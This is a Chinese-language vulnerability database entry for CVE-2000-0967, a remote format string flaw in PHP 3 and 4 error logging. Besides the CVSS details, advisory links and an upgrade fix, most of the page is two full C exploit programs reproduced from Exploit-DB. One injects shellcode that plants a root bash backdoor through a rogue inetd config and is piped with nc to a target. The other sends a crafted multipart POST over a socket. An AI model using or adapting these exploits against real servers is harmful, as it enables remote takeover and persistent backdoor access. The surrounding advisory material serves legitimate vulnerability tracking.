CVE-2000-0967
CVSS10.0
发布时间 :2000-12-19 00:00:00
修订时间 :2008-09-05 16:22:18
NMCOE    

[原文]PHP 3 and 4 do not properly cleanse user-injected format strings, which allows remote attackers to execute arbitrary commands by triggering error messages that are improperly written to the error logs.


[CNNVD]PHP格式字符串漏洞(CNNVD-200012-191)

        PHP 3和4不能净化注入用户格式字符串,远程攻击者可以通过触发没有被正确写进错误日志中的错误信息执行任意命令。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:php:php:3.0PHP PHP 3.0
cpe:/a:php:php:4.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0967
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0967
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200012-191
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/5359.php
(VENDOR_ADVISORY)  XF  php-logging-format-string
http://www.securityfocus.com/bid/1786
(VENDOR_ADVISORY)  BID  1786
http://www.redhat.com/support/errata/RHSA-2000-095.html
(UNKNOWN)  REDHAT  RHSA-2000:095
http://www.redhat.com/support/errata/RHSA-2000-088.html
(UNKNOWN)  REDHAT  RHSA-2000:088
http://www.linux-mandrake.com/en/security/MDKSA-2000-062.php3?dis=7.1
(UNKNOWN)  MANDRAKE  MDKSA-2000:062
http://www.calderasystems.com/support/security/advisories/CSSA-2000-037.0.txt
(UNKNOWN)  CALDERA  CSSA-2000-037.0
http://www.atstake.com/research/advisories/2000/a101200-1.txt
(UNKNOWN)  ATSTAKE  A101200-1
http://archives.neohapsis.com/archives/bugtraq/2000-10/0204.html
(UNKNOWN)  BUGTRAQ  20001012 Conectiva Linux Security Announcement - mod_php3
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:75.php.asc
(UNKNOWN)  FREEBSD  FreeBSD-SA-00:75

- 漏洞信息

PHP格式字符串漏洞
危急 格式化字符串
2000-12-19 00:00:00 2005-05-02 00:00:00
远程  
        PHP 3和4不能净化注入用户格式字符串,远程攻击者可以通过触发没有被正确写进错误日志中的错误信息执行任意命令。

- 公告与补丁

        

- 漏洞信息 (220)

PHP 3.0.16/4.0.2 Remote Format Overflow Exploit (EDBID:220)
linux remote
2000-12-06 Verified
80 Gneisenau
N/A [点击下载]
/* 
 * PHP 3.0.16/4.0.2 remote format overflow exploit.
 * Copyright (c) 2000 
 * Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau
 * gneisenau@berlin.com
 * my regards to sheib and darkx
 * All rights reserved
 * Pascal Boucheraine's paper was enlightening
 * THERE IS NO IMPLIED OR EXPRESS WARRANTY FOR THIS CODE. 
 * YOU ARE RESPONSIBLE FOR YOUR OWN ACTIONS AND I CANNOT BE HELD RESPONSIBLE
 * FOR THE CONSEQUENCES
 * Usage:
 * phpxpl -sx -uwww.victim.com/some.php3 | nc www.victim.com 80
 *
 * Slackware 7.0: eip address/shellcode address
 *                 0xbfff9b90/0xbfff958c
 *
 */
/*
 * We just printf the shellcode and stuff and nc it to the target
 */

#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// this exploit does not like 0x0a = '\n' in the shellcode. also the NULL at
// the end of the shellcode will be removed as the shellcode is probably
// strcatted into the buffer. so do it again in the shellcode. 
/*
 * This shellcode is for Linux/x86. 
 * This shellcode spawns a shell and runs the command
 * echo 'ingreslock stream tcp nowait root /bin/bash bash -i'>/tmp/.inetd.conf; /usr/sbin/inetd /tmp/.inetd.conf
 */
char shellcode[] = {
  0xeb,0x41,						
  0x5e, 						   
  0x31,0xc0,						
  0x31,0xdb,						
  0xb0,0xa0,						
  0x89,0x34,0x06,				
  0x8d,0x4e,0x07,				
  0x88,0x19,						
  0x41,								
  0x41,								
  0xb0,0xa4,						
  0x89,0x0c,0x06,				
  0x8d,0x4e,0x0b,				
  0x88,0x19,					
  0x41,								
  0xb0,0xa8,						
  0x89,0x0c,0x06,			
  0x8d,0x4e,0x7f,				
  0x88,0x19,						
  0x31,0xd2,						
  0xb0,0xac,						
  0x89,0x14,0x06,				
  0x89,0xf3,						
  0x89,0xf1,						
  0xb0,0xa0,					
  0x01,0xc1,						
  0xb0,0x0b,						
  0xcd,0x80,						
  0x31,0xc0,					
  0xb0,0x01,					
  0x31,0xdb,						
  0xcd,0x80,						
  0xe8,0xba,0xff,0xff,0xff,  
  0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0xff,0xff, /* the string "/bin/sh" */ 
  0x2d,0x63,0xff,						/* the string "-c"	*/
  0x2f,0x62,0x69,0x6e,0x2f,0x65,0x63,0x68,0x6f,0x20,0x27,0x69,
  0x6e,0x67,0x72,0x65,0x73,0x6c,0x6f,0x63,0x6b,0x20,0x73,0x74,
  0x72,0x65,0x61,0x6d,0x20,0x74,0x63,0x70,0x20,0x6e,0x6f,0x77,
  0x61,0x69,0x74,0x20,0x72,0x6f,0x6f,0x74,0x20,0x2f,0x62,0x69,
  0x6e,0x2f,0x62,0x61,0x73,0x68,0x20,0x62,0x61,0x73,0x68,0x20,
  0x20,0x2d,0x69,0x27,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,
  0x6e,0x65,0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x3b,0x20,0x2f,
  0x75,0x73,0x72,0x2f,0x73,0x62,0x69,0x6e,0x2f,0x69,0x6e,0x65,
  0x74,0x64,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,0x6e,0x65,
  0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x00,
};

#define NOP 0x90


/*
 * the PHP3 error buffer will already contain PHP 3 Warning: The Content-Type
 * string was "multipart/form-data. This is 66 bytes long. we send 2 spaces
 * for padding the addresses we embed in our attack buffer on word boundary
 */
#define PHP3_WARNING 68
#define BUF_LEN 1024

struct system_type {
	char *name;
	unsigned int nop;
	char *shellcode;
	int	shellcode_len;
	int	offset;			/* the number of pops we need to get to our own data*/
	int	already_written;	/* number of bytes written by printf by the time we reach the our embedded data */
	unsigned int	eip_address; /* address where shellcode_address must be put */
	unsigned int	shellcode_address; /* address of shellcode in memory */
};

struct system_type systems[] = {
		{
			"Slackware Linux 7.0 - i386/Apache 1.3.12/PHP 3.0.16 (static module)",
			0x90,
			shellcode,
			270,	/* not exact but we got lots of space ;) */
			27,
			0x152,
			0xbfff9c30,
			0xbfff962c,
		},
		// somebody find these and fill it in please. should be 
		// straightforward.
		{
			"Red Hat 6.0 - i386/Apache 1.3.13/PHP 3.0.16 (static module)",
			(unsigned int)NULL,
			NULL,
			(int)NULL,
			(int)NULL,
			(int)NULL,
			(unsigned int)NULL,
			(unsigned int)NULL,
		},
		{
			NULL,
			(unsigned int)NULL,
			NULL,
			(int)NULL,
			(int)NULL,
			(int)NULL,
			(unsigned int)NULL,
			(unsigned int)NULL,
		},
};

void 	usage (void);
void 	parse_url (char *, char *);
void 	prepare_attack_buffer (char *, struct system_type *, char *);
int	calculate_precision (unsigned int, int);

int
main (int argc, char *argv[])
{
	char 	attack_buffer[2000];	// we construct the shellcode and stuff here
										// the target is 1024 bytes long
	struct system_type *sysptr;
	char  *url; 				// i hope these things dont get bigger than this
	char  target[2048];			// target will contain only the FQDN
	unsigned int eip_address = 0, shellcode_address = 0;
	int	ctr = 0;
	int	nop_count;
	char  *walk;
	int	arg;					 		

	// at least expect a system type and url from the command line
	if (argc < 3)
		usage ();

	// parse arguments
	while ((arg = getopt (argc, argv, "s:u:e:h:")) != -1){
		switch (arg){
			case 'h':
						sscanf (optarg, "%x", &shellcode_address);
						break;
			case 'e':
						sscanf (optarg, "%x", &eip_address);
						break;
			case 's':	
						sysptr = &systems[atoi (optarg)];
						break;
			case 'u':
						url = optarg;
						parse_url (url, target);
						break;
			case '?':
			default :	
						usage ();
		}
	}

	if (eip_address)
		sysptr->eip_address = eip_address;
	if (shellcode_address)
		sysptr->shellcode_address = shellcode_address;
	prepare_attack_buffer (attack_buffer, sysptr, url);

	// as of now write it out to stdout. later write it to a socket
	write (STDOUT_FILENO, attack_buffer, sizeof (attack_buffer));
}

void
prepare_attack_buffer (char *attack_buffer, struct system_type *system, 
								char *url)
{
	int	dest_buffer_written;		/* we keep track of how much bytes will be written in the destination buffer */
	int 	ctr;
	char	*address;
	char	buf[25];						// temp buffer for %xd%n%xd%n%xd%n%xd%n
											// where x is precision
	int 	p1,p2,p3,p4;
	int	nop_count;

	bzero (attack_buffer, 2000);
	sprintf (attack_buffer, "POST http://%s HTTP/1.0\nConnection: close\nUser-Agent: tirpitz\nContent-Type: multipart/form-data   ", url);
	// mark strlen here. whatever we write after here appears in the buffer
	dest_buffer_written = strlen (attack_buffer);

	strcat (attack_buffer, "\x11\x11\x11\x11");
	address = (char *)&system->eip_address;
	strncat (attack_buffer, address, 4);
	strcat (attack_buffer, "\x11\x11\x11\x11");
	system->eip_address++;
	address = (char *)&system->eip_address;
	strncat (attack_buffer, address, 4);
	strcat (attack_buffer, "\x11\x11\x11\x11");
	system->eip_address++;
	address = (char *)&system->eip_address;
	strncat (attack_buffer, address, 4);
	strcat (attack_buffer, "\x11\x11\x11\x11");
	system->eip_address++;
	address = (char *)&system->eip_address;
	strncat (attack_buffer, address, 4);

	/*
	 * we need to add %x corresponding to the number of pops we need to reach
	 * our embedded addresses we defined above
	 */
	for (; system->offset; system->offset--)
		strcat (attack_buffer, "%x ");

	p1 = calculate_precision ((system->shellcode_address & 0x000000ff), system->already_written);
	p2 = calculate_precision ((system->shellcode_address & 0x0000ff00) >> 8, system->already_written);
	p3 = calculate_precision ((system->shellcode_address & 0x00ff0000) >> 16, system->already_written);
	p4 = calculate_precision ((system->shellcode_address & 0xff000000) >> 24, system->already_written);
	sprintf (buf, "%%%dd%%n%%%dd%%n%%%dd%%n%%%dd%%n", p1, p2, p3, p4);
	strcat (attack_buffer, buf);

	ctr = strlen (attack_buffer); 
	dest_buffer_written = ctr - dest_buffer_written;
	dest_buffer_written += PHP3_WARNING; // dest_buffer_written now contains the number of bytes the PHP_WARNING and then the 8 4 byte values and then the %x to pop off the stack
	attack_buffer += ctr;
	nop_count = BUF_LEN - dest_buffer_written - system->shellcode_len;
	memset (attack_buffer, NOP, nop_count);
	/*
	 * Add our shellcode at last
	 */
	attack_buffer += nop_count;
	strcat (attack_buffer, shellcode);
	strcat (attack_buffer, "\n");
	strcat (attack_buffer, "Content-Length: 1337\n\n");
}

void
usage (void)
{
	int 	ctr;

	fprintf (stderr, "                                 Apache/PHP xploit\n");
	fprintf (stderr, "        Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau\n");
	fprintf (stderr, "                                 for the r00tcrew\n");
	fprintf (stderr, "                                All rights reserved\n");
	fprintf (stderr, "\nUsage:\n");
	fprintf (stderr, "phpxpl -u url -s systype [ -e eip address ] [ -h shellcode address ]\n\n"); 
	fprintf (stderr, "url: the complete url including FQDN and script on the server\n");
	fprintf (stderr, "      www.victim.com/info.php3\n");
	fprintf (stderr, "available systypes:\n");

	for (ctr = 0; systems[ctr].name; ctr++)
		fprintf (stderr, "%d. %s\n", ctr, systems[ctr].name);
	fprintf (stderr, "eip address: the address which the xploit overwrites with buffer address (specify thus 0xbfff9c30) \n");
	fprintf (stderr, "shellcode address: the address which points to the NOPs (specify thus 0xbfff962c)\n");
	fprintf (stderr, "\n");
	exit (1);
}

void
parse_url (char *url, char *target)
{
	char *ptr;

	strcpy (target, url);
	if (!(ptr = index (target, '/'))){
		fprintf (stderr, "invalid url. specify the script name on the target server too\n");
		exit (1);
	}
	*ptr = '\0';
}

/*
 * addr_byte contains the byte we need to write out. for example: 2c in
 * 0xbfff962c, then 96, ff and bf. 
 */
int
calculate_precision (unsigned int addr_byte, int already_written_init)
{
	static int already_written = 0;
	int	tmp;

	if (!already_written)
		already_written = already_written_init;

	while (addr_byte < already_written)
		addr_byte += 0x100;

	tmp = addr_byte - already_written;
	already_written = addr_byte;
	return tmp;
}


// milw0rm.com [2000-12-06]
		

- 漏洞信息 (20286)

PHP 3.0/4.0 Error Logging Format String Vulnerability (EDBID:20286)
php remote
2000-10-12 Verified
0 Anonymous
N/A [点击下载]
source: http://www.securityfocus.com/bid/1786/info

PHP is a scripting language designed for CGI applications that is used on many websites. There exists a remotely exploitable format string vulnerability in all versions of PHP below PHP 4.0.3. 

The vulnerability exists in the code that handles error logging and is present if error logging is enabled in the "php.ini" configuration file. When errors are encountered by PHP, a string containing data supplied by the user is passed as the format string argument (the log_message variable) to the php_syslog() function (which contains *printf functions). As a result, it is possible for a malicious user to craft a string containing malicious format specifiers that will be passed to the php_syslog function as part of an error message. When interpreted by the *printf functions, these specifiers can cause the process to overwrite its own stack variables with arbitrary data. This can lead to remote access being gained on the target host with privileges of the webserver for the attacker.

Error logging may or may not be enabled by default on systems shipped with PHP.


#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<netdb.h>

#define BSIZE 1549
#define BUFFERZONE 128

int main(int argc, char *argv[])
{
  int i,start,count;
  int stackloc=0xBFFFDA60;
  int s;
  FILE *f;
  fd_set rfds;
  struct hostent *he;
  struct sockaddr_in saddr;
  char sploit[BSIZE];
  char file[]="/tmp/BADPHP";
  char c;

  if(argc!=5) {
    printf("%s <addr> <port> <offset> <php file name>\n",argv[0]);
    printf("offset=0 for most systems.\n"); 
    return 0;
  }

  /*** build exploit string ***/
  
  /* write bad format string, adding in offset */
  snprintf(sploit,sizeof(sploit),
	   "Content-Type:multipart/form-data %%%uX%%X%%X%%hn",
	   55817 /*+offset0,1,2,3*/ );

  /* fill with breakpoints and nops*/
  start=strlen(sploit);
  memset(sploit+start,0xCC,BSIZE-start);
  memset(sploit+start+BUFFERZONE*4,0x90,BUFFERZONE*4);
  sploit[BSIZE-1]=0;
  
  /* pointer to start of code (stackloc+4) */
  count=BUFFERZONE;
  for(i=0;i<count;i++) {
    unsigned int value=stackloc+4+(count*4);
    if((value&0x000000FF)==0) value|=0x00000004;
    if((value&0x0000FF00)==0) value|=0x00000400;
    if((value&0x00FF0000)==0) value|=0x00040000;
    if((value&0xFF000000)==0) value|=0x04000000;
    *(unsigned int *)&(sploit[start+i*4])=value;
  }
  start+=BUFFERZONE*4*2;

  /*** build shellcode ***/

  sploit[start+0]=0x90; /* nop */
  
  sploit[start+1]=0xBA; /* mov edx, (not 0x1B6 (a+rw)) */
  sploit[start+2]=0x49;
  sploit[start+3]=0xFE;
  sploit[start+4]=0xFF;
  sploit[start+5]=0xFF;

  sploit[start+6]=0xF7; /* not edx */
  sploit[start+7]=0xD2;

  sploit[start+8]=0xB9; /* mov ecx, (not 0x40 (O_CREAT)) */
  sploit[start+9]=0xBF;
  sploit[start+10]=0xFF;
  sploit[start+11]=0xFF;
  sploit[start+12]=0xFF;
  
  sploit[start+13]=0xF7; /* not ecx */
  sploit[start+14]=0xD1;
  
  sploit[start+15]=0xE8; /* call eip+4 + inc eax (overlapping) */
  sploit[start+16]=0xFF; 
  sploit[start+17]=0xFF; 
  sploit[start+18]=0xFF; 
  sploit[start+19]=0xFF; 
  sploit[start+20]=0xC0;
  sploit[start+21]=0x5B; /* pop ebx */
  sploit[start+22]=0x6A; /* push 22 (offset to end of sploit (filename)) */
  sploit[start+23]=0x16;
  sploit[start+24]=0x58; /* pop eax */
  sploit[start+25]=0x03; /* add ebx,eax */
  sploit[start+26]=0xD8;
  
  sploit[start+27]=0x33; /* xor eax,eax */
  sploit[start+28]=0xC0;

  sploit[start+29]=0x88; /* mov byte ptr [ebx+11],al */
  sploit[start+30]=0x43;
  sploit[start+31]=0x0B;
 
  sploit[start+32]=0x83; /* add eax,5 */
  sploit[start+33]=0xC0;
  sploit[start+34]=0x05;

  sploit[start+35]=0xCD; /* int 80 (open) */
  sploit[start+36]=0x80;

  sploit[start+37]=0x33; /* xor eax,eax */
  sploit[start+38]=0xC0;
 
  sploit[start+39]=0x40; /* inc eax */
  
  sploit[start+40]=0xCD; /* int 80 (_exit) */
  sploit[start+41]=0x80;
  
  /* add filename to touch */
  strncpy(&sploit[start+42],file,strlen(file));

  /*** send exploit string ***/
 
  /* create socket */
  s=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
  if(s<0) {
    printf("couldn't create socket.\n");
    return 0;
  } 
 
  /* connect to port */
  memset(&saddr,0,sizeof(saddr));
  saddr.sin_family=AF_INET;
  saddr.sin_port=htons(atoi(argv[2]));
  he=gethostbyname(argv[1]);
  if(he==NULL) {
    printf("invalid hostname.\n");
  }
  memcpy(&(saddr.sin_addr.s_addr),he->h_addr_list[0],sizeof(struct in_addr));

  if(connect(s,(struct sockaddr *)&saddr,sizeof(saddr))!=0) {
    printf("couldn't connect.\n");
    return 0;
  }
  
  /* fdopen the socket to use stream functions */
  f=fdopen(s,"w");
  if(f==NULL) {
    close(s);
    printf("couldn't fdopen socket.\n");
    return 0;
  }

  /* put the post request to the socket */
  fprintf(f,"POST %s HTTP/1.0\n",argv[4]);
  fputs(sploit,f);
  fputc('\n',f);
  fputc('\n',f);
  fflush(f);

  /* close the socket */
  fclose(f);
  close(s);

  return 0;
}





		

- 漏洞信息

434
PHP Error Log Format String Command Injection
Remote / Network Access, Local / Remote, Context Dependent Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

2000-10-14 Unknow
2000-12-06 Unknow

- 解决方案

Upgrade to version 3.0.17, 4.0.3 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站